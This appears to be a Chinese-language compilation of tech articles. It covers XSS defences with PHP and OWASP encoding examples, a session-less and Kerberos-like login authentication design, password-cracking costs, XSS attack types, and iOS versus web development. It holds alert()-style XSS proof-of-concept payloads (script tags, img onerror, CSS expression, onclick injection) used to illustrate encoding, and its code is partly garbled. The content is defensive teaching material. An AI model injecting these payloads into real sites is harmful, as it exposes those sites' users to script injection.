如何正确防御xss攻击
XSS攻击通常是指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。
一、HttpOnly防止劫取Cookie
HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。目前主流浏览器都支持,HttpOnly解决是XSS后的Cookie支持攻击。
我们来看下百度有没有使用。
未登录时的Cookie信息
可以看到,所有Cookie都没有设置HttpOnly,现在我登录下
发现在个叫BDUSS的Cookie设置了HttpOnly。可以猜测此Cookie用于认证。
下面我用PHP来实现下:
?php
header("Set-Cookie: cookie1=test1;");
header("Set-Cookie: cookie2=test2;httponly",false);
setcookie('cookie3','test3',NULL,NULL,NULL,NULL,false);
setcookie('cookie4','test4',NULL,NULL,NULL,NULL,true);
?
script
alert(document.cookie);
/script
js只能读到没有HttpOnly标识的Cookie
二、输入检查
输入检查一般是检查用户输入的数据中是否包含一些特殊字符,如、、'、"等,如果发现存在特殊字符,则将这些字符过滤或者编码。
例如网站注册经常用户名只允许字母和数字的组合,或者邮箱电话,我们会在前端用js进行检查,但在服务器端代码必须再次检查一次,因为客户端的检查很容易绕过。
网上有许多开源的“XSS Filter”的实现,但是它们应该选择性的使用,因为它们对特殊字符的过滤可能并非数据的本意。比如一款php的lib_filter类:
$filter = new lib_filter();
echo $filter-go('1+11');
它输出的是1,这大大歪曲了数据的语义,因此什么情况应该对哪些字符进行过滤应该适情况而定。
三、输出检查
大多人都知道输入需要做检查,但却忽略了输出检查。
1、在HTML标签中输出
如代码:
?php
$a = "scriptalert(1);/script";
$b = "img src=# onerror=alert(2) /";
?
div?=$b?/div
a href="#"?=$a?/a
这样客户端受到xss攻击,解决方法就是对变量使用htmlEncode,php中的函数是htmlentities
?php
$a = "scriptalert(1);/script";
$b = "img src=# onerror=alert(2) /";
?
div?=htmlentities($b)?/div
a href="#"?=htmlentities($a)?/a
2、在HTML属性中输出
div id="div" name ="$var"/div
这种情况防御也是使用htmlEncode
在owasp-php中实现:
$immune_htmlattr = array(',', '.', '-', '_');
$this-htmlEntityCodec-encode($this-immune_htmlattr, "\"script123123;/script\"");
3、在script标签中输出
如代码:
?php
$c = "1;alert(3)";
?
script type="text/javascript"
var c = ?=$c?;
/script
这样xss又生效了。首先js变量输出一定要在引号内,但是如果我$c = "\"abc;alert(123);//",你会发现放引号中都没用,自带的函数都不能很好的满足。这时只能使用一个更加严格的JavascriptEncode函数来保证安全——除数字、字母外的所有字符,都使用十六进制"\xHH"的方式进行编码。这里我采用开源的owasp-php方法来实现
$immune = array("");
echo $this-javascriptCodec-encode($immune, "\"abc;alert(123);//");
最后输出\x22abc\x3Balert\x28123\x29\x3B\x2F\x2F
4、在事件中输出
a href="#" onclick="funcA('$var')" test/a
可能攻击方法
a href="#" onclick="funcA('');alter(/xss/;//')"test/a
这个其实就是写在script中,所以跟3防御相同
5、在css中输出
在owasp-php中实现:
$immune = array("");
$this-cssCodec-encode($immune, 'background:expression(window.x?0:(alert(/XSS/),window.x=1));');
6、在地址中输出
先确保变量是否是"http"开头,然后再使用js的encodeURI或encodeURIComponent方法。
在owasp-php中实现:
$instance = ESAPI::getEncoder();
$instance-encodeForURL(‘url’);
四、处理富文体
就像我写这篇博客,我几乎可以随意输入任意字符,插入图片,插入代码,还可以设置样式。这个时要做的就是设置好白名单,严格控制标签。能自定义 css件麻烦事,因此最好使用成熟的开源框架来检查。php可以使用htmlpurify
五、防御DOM Based XSS
DOM Based XSS是从javascript中输出数据到HTML页面里。
script
var x = "$var";
document.write("a href='"+x+"'test/a");
/script
按照三中输出检查用到的防御方法,在x赋值时进行编码,但是当document.write输出数据到HTML时,浏览器重新渲染了页面,会将x进行解码,因此这么一来,相当于没有编码,而产生xss。
防御方法:首先,还是应该做输出防御编码的,但后面如果是输出到事件或脚本,则要再做一次javascriptEncode编码,如果是输出到HTML内容或属性,则要做一次HTMLEncode。
会触发DOM Based XSS的地方有很多:
document.write()、document.writeln()、xxx.innerHTML=、xxx.outerHTML=、innerHTML.replace、document.attachEvent()、window.attachEvent()、document.location.replace()、document.location.assign()
新浪微博出现了不是自己发的微博
可能是你手一抖就按到了转发,或者微博被盗用。只要不是在同一IP段。新浪都会把你账号给锁住的。要手机解开。
微博是一个由新浪网推出,提供微型博客服务类的社交网站。用户可以通过网页、WAP页面、手机客户端、手机短信、彩信发布消息或上传图片。用户可以将看到的、听到的、想到的事情写成一句话,或发一张图片,通过电脑或者手机随时随地分享给朋友,一起分享、讨论;还可以关注朋友,即时看到朋友们发布的信息。
2009年7月,经过一个多月的调研分析,管理层明确了目标,下决心要做微博这个产品,由两年前进入新浪、时任桌面产品事业部主管的彭少彬主持开发。
2010年初,新浪微博推出API开放平台。虎年伊始,百度百科也推出了“分享到新浪微博”的新功能。细心的科友可以发现,在百科词条页的下方,新增了“分享到新浪微博”的按钮。
根据2010年官方公布数据显示,新浪微博每天发博数超过2500万条,其中有38%来自于移动终端。每天发布微博数量超过两千五百万条,微博总数累计超过20亿条。是国内最有影响力、最受瞩目的微博运营商。
如何实现用户认证授权系统
一旦用户注册之后,用户信息就保存在服务器端(DB/Cache)。关键在于用户需要提供身份凭证,一般是用户名和密码。即常见的登陆页面:用户输入username和password,勾选Remember Me(可选,一般是记住一周),点击登陆,提交请求到服务端(这里一般是走HTTPS)。服务端根据用户名和密码到数据库查询是否匹配,如果匹配的话,说明身份认证成功。这是一次普通的身份认证过程。非常好理解。
关键在于HTTP是无状态的,用户登陆过一次,但是如果你没有做一些状态管理操作的话,用户登陆后请求同一个页面,服务器仍然要求其登陆。这时候就需要做一些状态处理了。一般是通过服务器颁发一个登陆凭证(sessionkey/token/ticket)实现的。那么这个登陆凭证是怎么生成的?又是怎样安全的颁发给客户端呢?
方案一:session集群 + 随机sessionId
用户登陆成功之后,服务器为其随机生成的一个sesionId,保存在session服务器中,将这个sessionId与用户关联起来:sessionId=userId。然后通过cookies方式将sessionId颁发给客户端,浏览器下次请求会自动带上这个sessionId。服务器根据sessionId从session服务器中拿到关联的userId,比较是否与请求的userId相同,如果是则认为是合法请求。
sessionId是随机生成的,基本来说是不可能被猜测出来的,所以这方面的安全还是有一定保障的。
方案二:session-less + 加密算法
上面的Authentication方式其实是用到了session和cookies。我们知道session这东西是服务端状态,而服务端一旦有状态,就不是很好线性扩展。其实对于身份验证来说,服务端保留的也这是一个简单的value而已,一般是userId,即session['sessionId']==userId。然后再根据userId去DB获取用户的详细信息。如果我们把userId作为一个cookies值放在客户端,然后把用几个cookies值(比如userId)做一个特殊的签名算法得到的token也放在cookie中,即f(userId, expireTime)==token。这样服务端得到用户请求,用同样的签名算法进行计算,如果得到的token是相等,那么证明这个用户是合法的用户。注意这个签名算法的输入因子必须包含过期时间这样的动态因子,否者得到的token永远是固定的。这种实现方式其实是仿造CSRF防御机制anti-csrf.md。是笔者自己想出来的,不清楚有没有人用过,个人感觉行得通。
然而上面的做法安全性取决于签名算法的隐蔽性,我们可以更进一步的,可以参考API中的签名验证方式,把password作为secretKey,把userId, expireTime, nonce, timestamp作为输入参数,同样用不公开的算法(这个与API签名不同)结合password这个secretKey进行计算,得到一个签名,即f(userId, expireTime, nonce, timestamp, password)==sign。每次客户端传递userId, expireTime, nonce, timestamp和sign值,我们根据userId获取到password,然后进行f(userId, expireTime, nonce, timestamp, password)==sign计算,然后比较两个sign是否一致,如果是,表示通过。这种方式比起上面的方式其实区别在于增加了password作为输入参数。这样首先增加签名的破解难度。还带来一个额外的好处,就是当用户修改了password之后,这个token就失效了,更合理安全一些。
具体步骤如下:
1. 客户端
用户输入userId和password,form表单提交到后台进行登录验证(这里最好走HTTPS)。
2. 服务端
服务端根据userId,从用户信息表中得到用户注册时保存的密码签名:S=md5(password)。
服务器验证用户信息:userId == DB.userId; md5(password) == DB.S。
如果验证通过,说明用户身份认证通过。这时候服务器会为客户端分配一个票据(签名):token=md5(userId;tokenExpiryTime;S;secretKey)。其中secretKey是一个后台统一的密钥,而且跟DB是分开的,一般是写在配置文件中。目的很明显,就是避免将鸡蛋放在同一个篮子中。然后服务端将这个token值存放在cookies中。同样放入cookies中的还有userId和tokenExpiryTime。这些cookies的过期时间都是tokenExpiryTime。
3. 客户端
客户端每次请求都要带上这个三个cookies(浏览器自动会带上)。
4. 服务端
服务器首先检查tokenExpiryTime是否过期了,如果过期就要求用户重新登录。否则,根据userId cookie从用户信息表中获取用户信息。然后计算expectedToken=md5(userId;tokenExpiryTime;S;secretKey)。然后比较expectedToken是否跟用户提交的token相同,如果相同,表示验证通过;否则表示验证失败。
说明
为了增加安全性,可以进一步将userId, tokenExpiryTime; token 这个三个cookies进行一次对称加密: ticket=E(userId:tokenExpiryTime:token)。
虽然cookies的值是没有加密的,但是由于有签名的校验。如果黑客修改了cookie的内容,但是由于他没有签名密钥secretKey,会导致签名不一致。
google了一下,发现这篇文章跟我的观点不谋而合Sessionless_Authentication_with_Encrypted_Tokens。另外看了一下Spring Security的Remember Me实现,原来这种方式是5.2. Simple Hash-Based Token Approach方式。他的hash因子中也有password,这样当用户修改了password之后,这个token就失效了。
这种基于password和secretKey做token的鉴权方式实现非常简单,而且客户端没有任何计算和验证逻辑,非常适合于BS架构的。不过这种方式在安全性方面还有一些问题:
客户端没法验证服务器的真实性。域名劫持的情况很容易伪造服务器。
token放在cookies中,还是容易被盗取(比如XSS漏洞,或者网络窃听)。使用动态token可以避免这个问题,但是需要持久化token,比较麻烦,而且对性能有消耗5.3 Persistent Token Approach。
一个简单而有效的解决方案就是使用HTTPS。HTTPS使用CA证书验证服务器的合法性,全程会话(包括cookies)都是经过加密传输,刚好解决了上面的两个安全问题。很多网站都是使用这种鉴权认证方案。比如GitHub。不过安全性要求不是很高的网站还是采用的是登陆认证的时候HTTPS,其他情况HTTP的方式,比如新浪微博、亚马逊、淘宝、quora等。
TIPS SSO
上面的鉴权方式依赖于Cookies来传递sessionId,而我们知道Cookies具有跨域限制。不过可以通过一些方式解决。具体可以看一下这篇文章,写的非常好。Building and implementing a Single Sign-On solution。
上面的想法是把password作为一个secretKey或者Salt进行签名。还有另一种思路,就是把password作为对称密钥来进行加密解密。具体步骤如下:
1. 客户端
用户输入userId和password
客户端用userId和password 计算得到一个签名:H1=md5(password), S1'=md5(H1 + userId)
客户端构造一个消息:message=randomKey;timestamp;H1;sigData。其中randomKey是一个16位的随机数字;SigData为客户端的基本信息,比如userId, IP等。
客户端用对称加密算法(推荐使用性能极高的TEA)对这个消息进行加密:A1=E(S1', message),对称密钥就是上面的S1',然后将userId和A1发送给服务端。
2. 服务端
接收客户端发送的userId和A1。
根据userId,从用户信息表中得到用户注册时保存的签名S1=md5(H1 + userId)。注意服务器保存的不是H1。这个签名就是前面对称加密(TEA)的对称密钥。而且正常情况应该跟客户端根据用户输入的userId和password计算出来的S1'是一样的。
服务端尝试用S1解密A1。如果解密异常,则提示登陆失败。如果解密成功,则按照约定格式,得到message=randomKey;timestamp;H1;sigData
服务器对message中的用户信息进行验证
比较 message.sigData.userId == DB.userId; 如果不一样,那么很有可能数据曾被篡改,或者这是一个伪造的登录的请求,提示登录失败;
比较 message.timestamp与服务器当前的时间,如果差距较大,则拒绝登录,可以从很大程度上防止重放攻击。大家可能都有过经验,当本地时间与真实时间有较大差距的时候,总是会登录失败,其实就是服务器对客户端时间进行校验的原因。
比较 md5(message.H1 + message.sigData.userId) == DB.S1。如果不一致,则登陆失败。
如果验证通过,说明用户身份认证通过,服务器同样构造了一个消息:serverMessage=whaterver you want,一般是登陆凭证,如sessionkey或者token. 然后用客户端发送过来的randanKey进行对称加密:A2=E(randanKey, serverMessage),然后把A2返回给客户端。
3. 客户端
客户端拿到A2,用randanKey进行解密,如果可以解密成功,则认为是来自真实服务器的数据,而不是一台伪造的服务器,整个登陆流程完成。这个步骤主要是为了防止服务器伪造。这个步骤很容易被忽略,客户端应该和服务器一样,要对接受的数据保持不信任的态度。
这个方案虽然没有使用HTTPS,但是思路跟HTTPS很类似。安全性也很高。
说明
上面的认证过程其实就是著名的网络认证协议Kerberos的认证过程。Kerberos是一种计算机网络认证协议,它允许某实体在非安全网络环境下通信,向另一个实体以一种安全的方式证明自己的身份。它的设计主要针对客户-服务器模型,并提供了一系列交互认证——用户和服务器都能验证对方的身份。Kerberos协议可以保护网络实体免受窃听和重复攻击。QQ的登录协议都是基于Kerberos的思想而设计的。不过Kerberos也有一些安全性的问题。SRP协议Secure Remote Password protocol要更安全一些。据说是目前安全性最好的安全密码协议。
为什么DB保存S1而不是H1。这是为了提高批量暴力破解的成本。对经过两次MD5加密,再加上userId作为salt,得到的S1进行暴露反推pasword基本是不可能的。而反推H1的话,由于H1的是password的MD5值,相对于password来说强度要增强不少。这个读者可以自己试试md5('123456')看得到的H1就有直观的认识了。
为什么服务端解开对称加密后的message之后还要对message的内容进行验证。这是为了避免拖库后的伪造登录。假设被拖库了,黑客拿到用户的S1,可以伪造用户登录(因为我们的加密算法是公开的)。它能够通过服务器第一个验证,即服务端使用存储的S1能够解开消息;但是无法通过第二个验证,因为H1只能是伪造的,这是因为根据S1反推H1是很困难的(原因见上面Note.2)。
但是虽然上面的协议可以防止黑客拖库后伪造用户登陆,却无法防止黑客拖库后伪造服务器,以及进行中间人攻击。拖库之后,黑客拥有DB.S1,协议又是公开的,这相当于黑客拥有了伪造Server的能力。黑客通过DB.S1解开客户端发送的A1,得到userId, H1=MD5(pwd), 以及randomKey。这样,黑客就可以轻易的得到被监听用户的H1了,而不需要通过S1进行反推。黑客就可以直接用H1伪造合法的用户登录请求了。如果pwd不够复杂,那么还很容易被暴力破解。黑客拦截客户请求,利用破解得出的randomKey回复一个假的响应,达到伪造Server的目的。黑客还可以同时伪造用户和Server,进行中间人攻击,从而达到窃听用户会话内容的目的。美国“棱镜门”就是类似案例。甚者在必要的时候对会话内容进行篡改。当然,黑客拖库后只能破解他监听网络所截取到的受害用户的MD5(pwd),比起服务器存MD5(pwd)的影响面窄多了,所以建议服务器还是不要直接存MD5(pwd)。
可以在现有登陆流程基础上加上密钥交换算法(如ECDH)解决上面的问题。具体流程如下:
==前置条件==
服务端生成一对私钥serverPrivateKey和公钥serverPublicKey,公钥直接hardcode在客户端,而不是通过网络传输。
1. 客户端
用户输入userId和password
客户端用对称加密算法对消息进行加密:A1=TEA(S1', randomKey;timestamp;H1;userId),对称密钥S1'=md5(md5(password) + userId)`
客户端生成自己的一对公钥clientPublicKey和密钥clientPrivateKey。
客户端用serverPublicKey对A1和clientPublicKey进行非对称加密: ECDH(serverPublicKey, userId + A1 + clientPublicKey),然后将加密结果发送给服务端。
2. 服务端
使用serverPrivateKey对客户端发送信息进行解密,得到userId, A1 和 clientPublicKey。
根据userId,得到DB.S1。然后尝试用DB.S1解密A1。如果解密异常,则提示登陆失败。如果解密成功,则按照约定格式,得到message=randomKey;timestamp;H1;userId
服务器对message中的用户信息进行验证:
比较 message.sigData.userId == DB.userId
比较 message.timestamp与服务器当前的时间,如果差距较大,则拒绝登录,可以从很大程度上防止重放攻击
比较 md5(message.H1 + message.sigData.userId) == DB.S1
如果验证通过,说明用户身份认证通过。服务器用客户端发送过来的randanKey进行对称加密:A2=TEA(randanKey, sessionKey + 业务票据)
服务端使用clientPublicKey对A2进行加密: ECDH(clientPublicKey, A2), 然后把加密结果返回给客户端。
3. 客户端
客户端使用clientPrivateKey对服务器回包进行解密,得到A2。
用randanKey对A2进行解密,如果可以解密成功,则认为是来自真实服务器的数据,而不是一台伪造的服务器,整个登陆流程完成。
4. ==后续通讯==
由于非对称加密算法(如RSA、ECC)的计算复杂度相比对称加密高3个数量级,不太可能用作通信数据的加密。所以验证通过之后,服务端和客户端利用ECDH交换密钥算法独自计算出一样的密钥,后面的通讯应该还是基于对称加密。这个跟HTTPS是类似的。
说明
加上非对称加密之后,即使黑客知道了S1,也没有办法伪造服务器,因为他不知道serverPrivateKey。黑客也不可能伪造客户端。因为即使黑客拖库知道S1,并且通过反编译客户端应用程序知道serverPublicKey,如果不是通过窃听网络得到A1,用S1解密A1从而得到A1中的H1的情况下,基本是不可能通过S1反推H1的。现在A1包在不对称加密算法上,黑客如果不知道serverPrivateKey和clientPrivateKey就无法解开会话信息。
这里看到serverPublickKey是HardCode在客户端的,而不是通过公钥推送下发的。这里是为了保证客户端的serverPublicKey是真正的serverPublicKey,而不是来自伪造服务器的。如果serverPublicKey通过网络传输下发给客户端的,那么伪造服务器在劫持网络的情况下,完全可以拦截客户请求,发回伪造服务器自己的fake_serverPublickKey,客户端在不知情的情况就用fake_serverPublickKey向伪造服务器发数据,因为fake_serverPublicKey是黑客构造的,他当然有对应的fake_serverPrivateKey解开。当然,黑客还需要知道S1才能解开A1。当然,将serverPublicKey硬编码在客户端会导致更换密钥需要强制客户端一起升级,否则老版本的客户端将无法登陆。
客户端自己也生成了公钥和私钥,目的是为了验证服务器是真正的服务器,这个得以成立的前提是公钥是真正的服务器公钥,如果是伪造服务器的公钥,那等于向黑客公开了自己加密的内容,黑客就知道了客户端的公钥,就能伪造服务器的返回数据。
采用ECDH非对称加密算法包裹后的登陆认证协议,安全级别已经跟SRP差不多。相对于SRP协议的问题是ECDH安全性依赖于私钥的保密性,如果私钥泄漏安全性回到跟未加ECDH的时候一样。ECDH的私钥保密有以下一些办法(考虑到实现成本,推荐方案2)
私钥加强保密,做到绝密,不用换,也不准备换;例如用USBKEY等硬件方式。
私钥密码级别安全,定期更换,换的时候让客户端拉取。具体实现方法是第一步验密的成功的以后,发现要更新公钥,在返回的加密信道中返回新的公钥。
使用Verisign等第三方证书,确保公钥的合法性,在2的基础上不会增加网络交互。
完全使用TLS的协议,会导致每次登录增加一次交互。
另外,采用不对称加密算法,会有一个服务器间共享密钥的安全VASKEY的问题:
换key困难,架构设计导致
网络上对称加密传输新密钥,可能被破解
可能的解决方案:
VASKEY的业务Key管理目前是对称加密的方式,可以考虑换成ECDH或类似的密钥交换协议来动态更新Key。
集中验证签名和解密,不共享密钥。
这里推荐采用方案2。
最后一个容易忽略的地方是注册。采用HTTP注册相当于明文传递用户名和密码,存在劫持、中间人攻击的危险。将注册入口全部改为HTTPS,封掉HTTP注册可以去掉上述危险。但是如果黑客劫持网络,给用户返回HTTP的页面,代理请求的HTTPS注册接口,也能窃取密码。
TIPS THOUGHTS
基本上所有的安全的登陆鉴权协议都是采用HTTPS的思想:使用不对称密钥算法进行登陆验证以及对称密钥交换。通过之后,后续会话就用对称加密算法加密。但是与HTTPS采用CA证书不同的是,一般通过密钥本身来验证客户端和服务器的合法性。
对于对称加密算法安全性问题更好的解决办法是加密算法协商,而不在于寻找破解难度更大的算法。在验密码之前协商后续会话使用的对称加密算法,如果有安全性更好的算法或者正在使用的算法被破解了,只需要Server增加对更安全算法的支持,新版本的客户端就可以使用安全性更好的算法。支持对称加密算法协商以后可以随时动态的升级或替换加密算法,不用担心对称加密算法被破解的安全风险。HTTPS就是这样的一种思路。
HTTP登录无法防劫持,HTTPS登录可以防劫持,但是无法防止后续对业务会话的窃听。另外,CA也容易被伪造。
关于暴力登录。处理方式有几种:1. 验证码; 2. 一定时间内密码错误次数超过正常值,锁定账户; 3. 客户IP监控。
第三方爆库、钓鱼、扫号、撞库如果解决?这些问题等同于用户明文密码被盗,靠密码登录体系没有办法对抗,比较好的方式是对已知泄漏密码的用户进行封停,强制要求用户改密码等运营方式减少用户的财产损失。
上面所有的验证方式,每次请求都需要根据userId去数据库拉取用户信息(password)。所以最好结合缓存进行处理,毕竟用户信息变化频率还是比较小的。
这种鉴权认证方式,相对于前面的token方式而言,客户端有比较多的计算和验证逻辑,比较适合于CS架构,特别是手机App。而且,它不依赖于Cookies,所以天然具有SSO功能。
More about 密码强度 暴力破解
1. 加盐之外我们还可以做些什么?
加盐以后的密码存储体系已经有效的对抗批量暴力破解、彩虹表攻击、字典攻击。为了对抗针对单个密码的暴力破解,我们可以通过密钥加强(Key Stretching)、提高密码长度等方式来提高安全性。
密钥加强的基本思路是让每次鉴权的时间复杂度大到刚好不影响用户体验,但是黑客暴力破解或构建彩虹表的成本大幅度提高,目前标准的算法有BCRYPT、SCRYPT、PBKDF2等。密钥加强算法的本质是通过加盐以及迭代计算多次增加计算量,迭代次数增加1000次计算量翻1000倍,这种方式对单个密码的暴力破解作用不大。
提高密码长度对构建彩虹表暴力破解的成本影响非常大,提高密码长度提升单个帐号的密码安全价值很大。以目前暴力破解MD5能力最强的FPGA NSA@home计算量来估算(大概用一台pc电脑的功耗,每秒钟可进行30亿次的8位密码(密码空间64个字符)尝试),假设有1万个NSA@home集成电路,19秒就能破解8字符的密码(70个字符的密码空间),所以现在的很多密钥检验要求的最小长度6个字符其实是不安全的,如果把密码长度增加到12个字符,则需要1年才能破解。
2. GPU,FPGA,ANIC对上述密码强度有何挑战?
FPGA MD5暴力破解工具目前比较成熟的是NSA@home,大概用一台pc电脑的功耗,每秒钟可进行30亿次的8位密码(密码空间64个字符)尝试。Lightning Hash Cracker[7]使用9800GX2 GPU每秒能够完成密码MD5计算608M次。
类似FPGA,GPU这种暴力破解方式受密码字符空间、密码长度、密码计算强度影响比较大,可以通过提升密码长度、密码计算强度来提升安全性。只替换密码Hash算法对这种破解作用不大,SHA2的计算量不到MD5计算量的一倍,把MD5换成SHA2只是让暴力破解的计算量增加了一倍,但是如果密码长度增加1位对计算量的提升是非常巨大的。
对于对称加密算法,没有专门针对TEA的硬件设计,针对AES算法,有一篇论文针对AES128专门设计的类似GPU的硬件计算速度能达到1012次/秒(约240次/s),AES128暴力破解需要288秒,这个计算量目前也是安全的。这种对称加密算法的暴力破解只能通过提升密钥长度来对抗。128位的AES与TEA安全级别差不多,AES支持最长256位密钥,长远来看对抗暴力破解AES更有优势。然而,对于对称加密算法安全性问题更好的解决办法是加密算法协商,而不在于寻找破解难度更大的算法。
xss攻击类型包括那些?
从攻击代码的工作方式可以分为三个类型:
(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。
(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。
(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。
基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。
常用的XSS攻击手段和目的有:
1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDos攻击的效果。
ios测试和web端测试的区别
ios测试和web端测试的区别:
一、语言
前端和终端作为面向用户端的程序,有个共同特点:需要依赖用户机器的运行环境,所以开发语言基本上是没有选择的,不像后台想用什么就用什么,iOS只能用object-c,前端只能javascript,当然iOS还可以用RubyMotion,前端还能用GWT/CoffieScript,但不是主流,用的人很少,真正用了也会多出很多麻烦。iOS还可以用苹果新出的swift语言,后面可能用于取代object-c,还处于起步阶段,先不讨论。
objc和js这两者有个有意思的对比:变量/方法命名的风格正好相反。苹果一直鼓吹用户体验,写代码也不例外,程序命名都是用英文全称并且要多详细有多详细,力求看变量和方法名就能知道是干嘛的,例如application:didFinishLaunchingWithOptions:。而js因为每次都要从网络下载,要力求减少代码体积,所以变量方法名是尽量用缩写,实际上有代码压缩工具,无论变量名写多长最终上线的效果是一样的,但大家也都习惯了用短的命名,例如上述objc的application:didFinishLaunchingWithOptions:方法在js里习惯的命名是:$()。
objc与js都是动态语言,使用起来还蛮像,但objc是编译型,速度快,很多错误也能在编译过程中被发现,js是解释型,性能依赖于解释引擎,即使在强劲的v8引擎下性能也赶不上编译型语言,语言太动态,变量完全没有类型,写起来爽,debug起来稍微费点劲。一直感觉js轻巧灵活放荡不羁充满各种奇技淫巧,objc中规中矩没c++ java那么严肃也没有js那么灵活。
二、线程
前端开发几乎不需要线程这个概念,浏览器实现上页面HTML和CSS解析渲染可能与js不在同一个线程,但所有js代码只执行在一条线程上,不会并发执行,也就不需要考虑各种并发编程的问题。在新的JS特性中可以创建worker任务,这样的任务是可以另起一条线程并行执行的,但由于并不是所有浏览器都支持,不同线程传递数据各个标准定的还不一样,使用场景也少,似乎没有大规模用起来。对于数据库操作/发送网络请求这样的任务是在不同于js代码执行线程的,不过这些都由浏览器管理,前端无需关心也无法影响这些线程,只需接收事件回调,不需要处理任何并发问题。
终端开发需要大量使用多线程,iOS有一条主线程,UI渲染都在这个线程,其他耗时长的逻辑或者数据库IO/网络请求都需要自己另开线程执行,否则会占用主线程的时间,导致界面无法响应用户交互事件,或者渲染慢导致滚动卡顿。程序逻辑分布在多个线程里跑,需要处理好各种代码并发执行可能带来的数据不一致/时序错乱之类的问题,并发也导致有些bug难以排查,一不留神就掉坑,需要适当用一些队列/锁保证程序的执行顺序。iOS提供了一套多线程管理的方法GCD,已经把线程和队列封装得非常简单易用功能强大,比其他端或后台是好很多了,但还是会花大量功夫在处理多线程问题上。
三、存储
终端开发需要大量的数据存储逻辑,手机APP不像浏览器,用户打开浏览器必定是连着网,但打开一个APP时很可能是离线,也很可能处于网络状况极差的移动GPRS,所以必须把之前请求回来的数据保存好。保存数据后又需要与服务端最新的数据同步,如果全量同步数据量太大,耗流量速度也慢,于是需要增量同步,需要与服务端一起制定实现增量数据返回的方案,需要处理好客户端与服务端数据一致性的问题。当数据存储量大结构复杂时,还需要利用好有限的内存做cache,优化各类存储查询性能。
前端在桌面端很少需要存储,除非是one page app,不存储自然就不需要数据更新的一系列工作,数据都是从后台取出拼接后直接显示到页面上,即使像微博有可以在页面内不断加载更多数据,数据也只存在于内存,不会持久化存储,因为桌面端网速稳定,不计流量,所有数据可以直接从后端拿取,客户端没必要再做一套存储。移动端那些做得很像原生APP的web应用就跟终端开发一样了,数据同样保存到SQLite,存储逻辑以及要处理的问题都差不多。
四、框架
在第三方框架上web前端和iOS开发完全相反,web原生弱小又十分开放,让大量第三方框架和类库可以施展拳脚,而iOS原生强大又十分封闭,导致第三方框架没有多少生存空间。
浏览器一开始只为内容型的网页而设计,js也只是这个网页上能加点小特效的脚本语言,在web应用时代跟不上发展,需要很多第三方库和框架辅助,再加上前端开发是完全开放的领域,导致库和框架百花齐放多如牛毛,在初期多数库的作用集中在封装dom操作,大家不断重复造dom操作基础库的轮子,在一段时间百家争鸣后独尊jQuery,在有使用库的网站中90%以上使用jq,几乎成了个标准基础库。后期大家已经不再重复造这个基础库的轮子了,多了一些代码组织和前端架构的框架,例如一些帮助项目模块化的框架require.js,MVC框架backbone/angular.js等。
iOS开发苹果已提供了完整的开发框架cocoa,而这框架在每一代系统中都在升级优化和添砖加瓦,开发模式也已经定型,第三方框架没有多少生存空间,大量流行的开源项目是一些通用组件和库,像网络请求库AFNetworking,数据库操作库FMDB。而一些大的框架像beeFramework/ReactiveCocoa较难流行起来。
五、兼容
前端开发需要兼容大——量的浏览器,桌面的chrome,safari,ie6-ie10,firefox,以及各种套壳猎豹360等浏览器,移动端iOS/Android各自的浏览器,以及无限的不同的屏幕尺寸。看起来挺可怕,实际上也没那么难搞,只是拿出来吓唬下人。桌面端chrome/safari以及各种套壳的极速模式用的都是webkit,差异很小,firefox也大体遵从标准实现,与webkit差别不大,旧的ie6/7就需要特别照顾,不过很多网站都不支持ie6了,移动端更是一家亲,全是webkit,除了新特性上的支持程度不一,其他差异不大。对于不同的屏幕尺寸,高端点的会用响应式布局,针对不同屏幕尺寸自适应到不同布局,一般点的桌面端定死宽度,移动端拉伸自适应宽度就搞定。
终端开发也需要兼容各种不同的系统版本和手机尺寸,Android不用说,iOS也有3.5/4/4.7/5.5/9.7英寸这些尺寸,不过兼容起来跟web一样挺容易,就是自适应宽度,iOS的UIKit把这些都处理好了,还有autolayout,sizeClass等高级特性可用,在尺寸上并不用花太多功夫。系统版本上iOS7为分水岭,iOS7前后版本UI上差异比较大,需要做一些功夫兼容,不过iOS用户更新换代很快,预计再过一两年iOS7以下用户就可以忽略了。
六、性能
终端和前端都是面向用户的,性能优化目的都是尽快呈现内容,以及让程序在用户操作下流畅运行。终端主要关注的是存储/渲染性能。当一个APP存储数据量大,数据关系复杂时,数据查询很容易成为性能瓶颈,需要不断优化数据存取的效率,规划数据IO线程,设计内存cache,利用好终端设备有限的内存,渲染上避免重复渲染,尽可能复用视图,寻找最高效的渲染方案。
前端关注页面加载速度,由于web页面的结构/样式/程序/资源图片都是实时请求的,要让页面更快呈现内容,就要优化这些请求,让这些资源以最快速度加载下来,包括合并图片/合并代码减少请求数,压缩代码,并行请求,根据版本号缓存代码请求,gzip压缩,模块/图片懒加载等。此外跟终端一样也关注渲染性能,遵从一些规则避免页面reflow,避免使用CSS阴影这样耗性能的特效,用CSS3动画代替js等。
七、编译
终端开发需要编译的过程,把程序编译成机器语言,再与各种库链接后生成平台对应的可执行文件,最后由操作系统调度执行。在iOS终端开发中编译和链接的规则苹果已经在xcode这个开发工具上封装好,一般开发可以不用关心,但有深层需求时还是需要跟编译打很多交道,例如用编译前端Clang自定义静态代码检测规则,写编译脚本做自动化编译和持续集成,打包生成静态库,根据链接后的可执行文件的组成优化APP体积等。
